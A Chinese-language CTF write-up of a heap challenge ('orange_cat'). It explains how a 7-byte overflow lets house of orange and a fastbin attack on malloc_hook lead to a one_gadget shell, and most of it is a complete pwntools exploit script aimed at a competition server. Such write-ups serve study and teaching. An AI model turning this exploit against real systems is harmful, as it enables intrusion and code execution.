orange_cat

本文最后更新于 2024年10月23日 晚上

orange_cat

就出了这一道被打成50分的,我真菜狗一只啊

包含输入、修改、输出、删除的堆块题

  1. 输入函数:只限制了堆块的大小,不限制数量

image-20240518162412248

  1. 输出函数和删除函数都只能用一次

  2. edit函数存在7个字节的溢出

    image-20240518165434361

top_chunk 的后三位+size(不包括符号位,符号位要为1),&FFF为0

先用house of orange(这个网上讲的很好)将topchunk置为unsorted bin。

image-20240518165629185

创建一个0x60大小的块,从unsoterd bin中分割出来,再打印这个块,打印出对应的libc地址

image-20240518165748518

将这个块free掉,修改它的fd指针为伪造的fast_chunk,然后用fastbin attack 打malloc_hook。

另:其实不用add那么多次,一次直接改就行,只不过是边打边学的house of orange,刚开始没想明白,后来懒得删上面的了,因为会有些微的地址的差距,懒得再改了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./pwn2')
p=remote('39.106.48.123',35999)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()

def debug():
gdb.attach(p)
pause(1)

def add(lenth,content):
ru('Exit')
sd(b'1')
ru('length')
sd(str(lenth))
rl()
sd(content)

def edit(lenth,content):
ru('Exit')
sd(b'4')
rl()
sd(str(lenth))
rl()
sd(content)

def dele():
ru('Exit')
sd(b'3')

def show():
ru('Exit')
sd(b'2')
sl('AAAA')

add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x88,b"bb")

edit(0x8f,b'A'*(0x88)+p32(0xd71))

add(0x1000,b"ABCDEFGHIJKLMN")
#debug()
#show()
add(0x60,b'BB')
#debug()
#pause()
show()
ru('\x7f')
libc = ELF('/home/kali/Desktop/libc-2.23.so')
arena = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
hook = arena - 0x88 - 3 - 0x600
libc_base = arena -(0x7f96b13c4b78 -0x7f96b1000000 )-0x600
print(hex(arena))
print(hex(libc_base))
one_gadget = libc_base + 0xf03a4
dele()

payload = b'\x00'*19 + p64(one_gadget)

edit(8,p64(hook))

add(0x60,payload)
#debug()
add(0x60,payload)
#debug()

sd(b'1')
rl()
sd(b'80')

p.interactive()


orange_cat
https://xyyr-c.github.io/2024/10/23/orange_cat/
作者
xyyr
发布于
2024年10月23日
许可协议